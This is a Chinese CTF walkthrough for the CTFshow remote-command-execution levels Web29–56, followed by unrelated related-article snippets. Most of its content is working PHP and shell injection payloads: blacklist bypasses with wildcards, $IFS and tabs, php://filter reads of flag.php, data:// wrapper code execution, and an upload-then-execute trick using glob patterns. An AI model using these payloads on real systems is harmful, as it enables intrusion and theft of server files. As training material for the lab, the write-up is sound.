CTFshow—远程命令执行
29-35
Web29
代码利用正则匹配过滤了flag,后面加了/i所以不区分大小写。
可以利用通配符绕过
匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
?c=system('cat f*');//glob1
?c=system('cat f?ag.php');//glob2
?c=system('cat f\lag.php');//转义字符实现绕过
?c=system("cat f''lag.php");
?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤
Web30
和上一题差不多就是多了system和php的过滤,system用passthru代替即可。
?c=passthru('cat fla?.p?p');
Web31
这题多了cat、空格、单引号、逗号的过滤。
cat代替命令
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
空格代替
<,<>,%20(space),%09(tab),$IFS$9, I F S , {IFS},IFS,IFS
?c=passthru("more%09fla*");
Web32
这题过滤多了 ; 和 ( 。分号我们可以用 ?> 代替,因为php中最后一句代码可以不用加 ;,但是 ( 被过滤了也就意味着不能用命令执行函数了,因为命令执行函数都要使用到括号。
这里我们可以使用文件包含函数,如include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile,PHP中文件包含函数可以不用使用括号。
payload如下,解释一下啥意思,使用include函数包含参数1,而参数1是通过get获取的flag.php。
php:///filter:是 PHP 中用于数据流处理的流封装协议之一,它允许你在读取或写入文件时,通过指定的过滤器对数据进行处理。
read=convert.base64-encode:这部分指定了过滤器类型为读取(read)操作,并且使用convert.base64-encode过滤器对数据进行 Base64 编码。Base64 编码是一种将二进制数据转换为 ASCII 字符串的方法,常用于在需要文本表示二进制数据的场合。
resource=:这部分后面应该跟上你想要读取并编码的文件路径
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
返回的数据是base64编码,拿去解码即可。
Web33
和上一题并无啥区别,多了双引号的过滤,但是我们上一题的poyload并无用到双引号,所以直接套用上一题的payload即可。
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Web34
观察了一下,只是多了冒号的过滤,上一题的payload我们没有用到冒号,所以继续套用即可。
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Web35
过滤多了左尖括号和等于号,无所谓,依旧套用payload即可。
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
36-40
Web36
这题过滤了0-9数字,我还想这个%0a改用什么代替呢,一查原来include函数不需要空格也行,那不就好办了吗,直接套用web35的payload即可,去掉%0a,把参数1改为字母就行。
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Web37
这题是通过C传参,接着使用include包含C,也就是把C的文件内容显示到页面上面,但是过滤了flag。我们可以用data伪协议,伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行,也就是说我们可以通过data伪协议造成rce。
data://协议用法:
data://text/plain,
data://text/plain;base64,
payload
?c=data://text/plain,<?php system("cat f*")?>
Web38
这题多了对php的过滤,直接套用上一题的payload坑定是不行了,查了一下原来在PHP中居然可以使用短标签 = 代替php,而且php不是必须的可以去掉,逆天了。
?c=data://text/plain,<?=system("cat f*")?>
Web39
这题没啥难度,就是拼接了个php,问题不大,直接套用上一题的payload即可。
?c=data://text/plain,<?=system("cat f*")?>
Web40
这题难度就上来了,可以看到几乎把所有的字符都过滤,只留下一个英文的括号。
这题要使用很多函数,我们先来了解一下。
print_r()函数不用多说,函数用于打印变量,作用对象是变量。
scandir()函数函数会扫描这个目录,并返回一个包含目录中所有文件和目录名的数组,也就是说scandir()会列出当前目录下的文件。
那么我们可以使用print_r(scandir('.'))来列出当前目录下的所有文件,并且打印在web页面。但是单引号和小数点都被过滤了,我们这里要找其他的函数来代替。
通过查找我们得知
localeconv():返回包含本地数字及货币信息格式的数组,其中数组中的第一个为点号(.)
那不妨这样子想,如果我们能找到一个函数截取localeconv()的值,使其只返回第一个值那我们不就得到小数点了吗?
pos() 和current() 函数返回数组中的当前元素(单元),默认取第一个值。
此时我们可以打印出当前目录下的文件名,无需单引号也行好像。
?c=print_r(scandir(pos(localeconv())));
OK,现在的问题是怎么读取文件里面的内容呢,通过查阅得知,
next():函数将内部指针指向数组中的下一个元素,并输出。
但是通过我们刚刚列出来的数组得知目前的顺序是 ".","..","flag.php","index.php",那我们直接把它们的顺序调换不就刚刚好吗,也就是"index.php","flag.php","..",".",那么此时next()函数指向的下一个刚好是flag.php。
通过查找
array_reverse():数组逆序,将文件目录反转。
此时我们便可以构造payload。
?c=print_r(next(array_reverse(scandir(current(localeconv())))));
但依旧不行,因为print_r函数打印的是变量,而我们要输出的是文件,于是我们这里就只能用show_source或者highlight_file。
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
41-45
Web41
没复现出来
Web42
这题会对我们输入的参数拼接一个重定向,解释一下
> 代表重定向到哪里
/dev/null 代表空设备文件
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null
因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1
1> /dev/null:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任1何信息。
2> &1:接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
所以我们直接截断后面的语句即可。
?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;
Web43
和上题目一摸一样的,只不过是多了cat的过滤,我们直接换成more即可。
Web44
多了flag的过滤,用我们上面说过的正则绕过即可。
?c=more%20fla*||
Web45
这题多了分号和空格的过滤。我们直接用%09代替空格即可
?c=more%09fla*||
46-50
Web46
过滤了数字和*,但是%09还能用。
?c=more%09fl?g.php||
Web47
这题对好几个查看flag的命令都做了过滤,但是没有过滤tac。
?c=tac%09fl?g.php||
Web48
依旧没有过滤tac,直接套用上一题的payload即可。
Web49
还是上一题的payload
Web50
这题多了对%过滤也就是说%09不能用了,那我们用<去代替空格即可,奇怪的是用?通配符不知道为啥不行。
c=tac<fl?g.php||
要用 ' ' 才行,对php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。
c=tac<fl''ag.php||
51-55
Web51
这题多了tac的过滤,用nl命令代替即可。
c=nl<>fl""ag.php||
Web52
这题多了尖括号的过滤。
一开始直接查看flag,发现不对,说明真正的flag文件不在这个目录。
c=nl${IFS}fl""ag.php||
看一下根目录,发现根目录有个flag
c=ls${IFS}/||
直接查看根目录的flag即可。
?c=nl${IFS}/fl""ag||
Web53
没啥好讲的
c=nl${IFS}fl""ag.php
Web54
这题过滤了很多东西,flag不能用 * 或者 ' ' 来绕过了,nl也被过滤了,但是我们可以用uniq代替。
c=uniq${IFS}f???.php
Web55
过滤了字母,但是没有过滤数字,可以用base64编码,相当于调用/bin目录下的base64编码程序对flag.php进行编码输出
c=/???/????64%20????.???
等同于c=/bin/base64 flag.php
Web46
这题的难度也是直线上升好吧,可以看到数字和字母都过滤了,还有一些特殊符号也是过滤掉了。
但是没有过滤小数点,在linux中以 . /file 这样的方式来执行文件的话,file是不需要有x权限的,而且会用bash去执行file中的命令。那么我们如果上传一个可控文件,再往里面写入一个命令,那么不就是可以rce了吗。
这篇文章写的很好,可以看一下。
无字母数字webshell之提高篇 | 离别歌
那么我们该如何去表示出我们的文件,因为过滤了字母。在PHP上传的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
?c=.%20/???/????????[@-[]
先构造一个上传页面。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
抓包进行修改。
往文件中添加命令。
#!/bin/sh
ls
读取flag,如果发包没有回显flag,多发几次即可。
相关文章:

CTFshow—远程命令执行
29-35 Web29 代码利用正则匹配过滤了flag,后面加了/i所以不区分大小写。 可以利用通配符绕过 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file * ? 匹配任何一个字符(不…...

Qt之简易音视频播放器设计(十五)
Qt开发 系列文章 - MediaPlayer(十五) 目录 前言 一、QMediaPlayer 二、实现方式 1.添加multimedia 2.创建类vedioplayer 3.UI设计 4.用户使用 5.效果演示 总结 前言 利用Qt进行音视频播放器设计,首先比较方便使用的是Qt自带的音视…...

ArrayList 和LinkedList的区别比较
前言 ArrayList和LinkedList的主要区别在于它们的底层数据结构、性能特点以及适用场景。ArrayList和LinkedList从名字分析,他们一个是Array(动态数组)的数据结构,一个是Linked(链表)的数据结构&#x…...

Wallpaper壁纸制作学习记录13
骨骼物理模拟 Wallpaper Engine还允许您为人偶变形骨骼配置某些物理模拟。选择骨骼时,点击编辑约束来配置骨骼这些属性。 警告 请记住,物理模拟可能会根据用户的最大FPS设置略微改变其行为。 Wallpaper Engine编辑器将始终以高帧速率渲染。您可以将壁纸…...

Visual Studio 2022安装教程
1、下载网址 Visual Studio 2022 IDE安装网址借助 Visual Studio 设计,具有自动完成、构建、调试、测试功能的代码将与 Git 管理和云部署融为一体。https://visualstudio.microsoft.com/zh-hans/vs/ 点击图片所示 双击运行 2、安装 点击C桌面开发(右边…...

std__invoke 的使用
std__invoke 的使用 文章目录 std__invoke 的使用1. std::invoke 的功能2. 语法3. 使用场景1. 调用普通函数2. 调用成员函数3. 调用成员函数(通过指针或引用)4. 调用函数对象(仿函数)5. 调用 Lambda 表达式 4. std::invoke 的优势…...

2501d,d.109
原文 2.109.0带来了15个主要更改和26个修复的Bugzilla问题.非常感谢39位贡献者,是他们使2.109.0变成可能. 更改编译器 1,[下一版]现在,为类型实例的成员设置别名是个错误 2,添加位字段内省功能 3,添加了从CTFE写入消息的__ctfeWrite 4,现在-verrors也限制弃用警告 5,dtoh为e…...

1、蓝牙打印机环境搭建
本项目采用stm32f103c8T6芯片,通过库函数实现打印功能,并配置有小程序蓝牙通信上位机。 1、创建文件夹目录 core文件夹存放核心库文件 LIB文件夹存放标准库函数文件 这里可以删减,用不到的可以不要。 obj存放编译后的文件 project存放项目…...

Axure RP11安装学习
安装: 官网下载地址:Axure RP - UX Prototypes, Specifications, and Diagrams in One Tool 设置自己的安装目录,一步步安装即可。 汉化: 汉化包下载地址: 链接: https://pan.baidu.com/s/1eIRoGkVqAY3u3I27lgDJ6A…...

axios和fetch的实现原理以及区别,与XMLHttpRequest的关系,并结合react封装统一请求示例
Axios 和 Fetch 对比及统一请求封装 1. Axios 基础用法 1.1 安装和引入 // 安装 npm install axios// 引入 import axios from axios;1.2 基本请求方法 // GET 请求 axios.get(/api/users).then(response > console.log(response.data)).catch(error > console.error…...

矩阵运算提速——玩转opencv::Mat
介绍:用Eigen或opencv::Mat进行矩阵的运算,比用cpp的vector或vector进行矩阵运算要快吗? 使用 Eigen 或 OpenCV 的 cv::Mat 进行矩阵运算通常比使用 std::vector<int> 或 std::vector<double> 更快。这主要有以下几个原因: 优化的底层实现…...

C++软件设计模式之模板方法模式
模板方法模式是面向对象软件设计模式之一,其主要意图是在一个方法中定义一个算法的骨架,而将一些步骤延迟到子类中实现。模板方法使得子类可以在不改变算法结构的情况下重新定义算法的某些特定步骤。 动机 在软件开发中,常常会遇到这样的情…...
神经网络的初始化方式都有哪些?
一、概念 神经网络的初始化是深度学习中的一个关键步骤,它指的是在训练开始前为神经网络的权重和偏置设置初始值。合适的初始化方法可以加速模型的收敛,提高训练效果,甚至影响模型的最终性能。当然,目前我们使用Torch、TensorFlow…...

const成员函数
在c中经常看到这样的声明: class A{ ... int fun1() const; //const成员函数 int fun2() const; //const成员函数private: int a; //属于状态 static int b; //不属于状态,属于类 } 这个const关键字声明了这个函数是const成员函数,con…...

物理知识1——电流
说起电流,应该从电荷说起,而说起电荷,应该从原子说起。 1 原子及其结构 常见的物质是由分子构成的,而分子又是由原子构成的,有的分子是由多个原子构成,有的分子只由一个原子构成。而原子的构成如图1所示。…...

车载通信架构 --- 智能汽车通信前沿技术
我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 所谓鸡汤,要么蛊惑你认命,要么怂恿你拼命,但都是回避问题的根源,以现象替代逻辑,以情绪代替思考,把消极接受现实的懦弱,伪装成乐观面对不幸的…...

Flutter中添加全局防护水印的实现
随着版权意识的加强,越来越多的应用开始在应用内部增加各种各样的水印信息,防止核心信息泄露,便于朔源。 效果如下: 在Flutter中增加全局水印的方式,目前有两种实现。 方案一,在native层添加一个遮罩层&a…...

BGP(Border Gateway Protocol)路由收集器
全球 BGP(边界网关协议)路由收集器的分布情况以及相关数据。以下是主要的信息解读: 地图标记: 每个绿色点代表一个路由收集器的位置。路由收集器分布在全球不同的地区,覆盖了五大区域: ARIN(美…...

【DAGMM】直接跑tip
1.from sklearn.externals import joblib 版本高 joblib没有 直接pip install joblib,然后 import joblib 2.AttributeError: module ‘tensorflow’ has no attribute ‘set_random_seed’ # tf.set_random_seed(args.seed)#tf<2.0 tf.random.set_seed(args.s…...

vscode中调用deepseek实现AI辅助编程
来自 Python大数据分析 费弗里 1 简介 大家好我是费老师,最近国产大模型Deepseek v3新版本凭借其优秀的模型推理能力,讨论度非常之高🔥,且其官网提供的相关大模型API接口服务价格一直走的“价格屠夫”路线,性价比很高…...

AI大模型语音识别转文字
提取音频 本项目作用在于将常见的会议录音文件、各种语种音频文件进行转录成相应的文字,也可从特定视频中提取对应音频进行转录成文字保存在本地。最原始的从所给网址下载对应视频和音频进行处理。下载ffmpeg(https://www.gyan.dev/ffmpeg/builds/packages/ffmpeg-…...

可由 (5V) 单片机直接驱动的模块
可由 (5V) 单片机 直接驱动的模块 1. 传感器类 元器件描述温度传感器DS18B20(数字温度传感器)光强传感器光敏电阻(通过 ADC 读取)红外传感器红外接收模块(如 VS1838)超声波传感器HC…...

vue使用树形结构展示文件和文件夹
1. 树形结构显示 显示文件夹和文件:使用 el-tree 组件展示树形结构,文件夹和文件的图标通过 el-icon 进行动态显示。文件夹使用 Folder 图标,文件使用 Files 图标。节点点击:点击树形节点后,会将选中的节点保存到 sel…...

PHP框架+gatewayworker实现在线1对1聊天--聊天界面布局+创建websocket连接(5)
文章目录 聊天界面布局html代码 创建websocket连接为什么要绑定? 聊天界面布局 在View/Index目录下创建index.html html代码 <div id"chat"><div id"nbar"><div class"pull-left">与牛德胜正在聊天...</div…...

LinuxUbuntu打开VSCode白屏解决方案
解决方法是 以root权限打开VSCode sudo /usr/share/code/code --no-sandbox --unity-launch...

在 ESP 上运行 AWTK
AWTK 基于 esp 的移植。 测试硬件平台为 ESP32-S3-Touch-LCD-4.3,其它平台请根据实际平台自行调整。 安装下载工具 建议下载离线版本 ESP IDF v5.3.2 下载代码 git clone https://github.com/zlgopen/awtk-esp.git cd awtk-esp git clone https://github.com/zlg…...

硬件工程师面试题 21-30
把常见的硬件面试题进行总结,方便及时巩固复习。其中包括网络上的资源、大佬们的大厂面试题,其中可能会题目类似,加强印象即可。 更多硬件面试题:硬件工程师面试题 1-10硬件工程师面试题 11-20 21、单片机最小系统需要什么&#x…...

开源架构的容器化部署优化版
上三篇文章推荐: 开源架构的微服务架构实践优化版(New) 开源架构中的数据库选择优化版(New) 开源架构学习指南:文档与资源的智慧锦囊(New) 我管理的社区推荐:【青云交社区…...

Qt使用CMake编译项目时报错:#undefined reference to `vtable for MainView‘
博主将.h文件和.cpp文件放到了不同的文件目录下面,如下图所示: 于是构建项目的时候就报错了#undefined reference to vtable for MainView,这个是由于src/view目录下的CMake无法自动moc头文件导致的,需要手动moc include/view目录…...

python学习笔记—12—
1. 布尔类型 (1) 定义 (2) 比较运算符 (3) 代码演示 1. 手动定义 bool_1 True bool_2 False print(f"bool_1的内容是:{bool_1}, 类型是:{type(bool_1)}") print(f"bool_2的内容是:{bool_2}, 类型是:{type(bool…...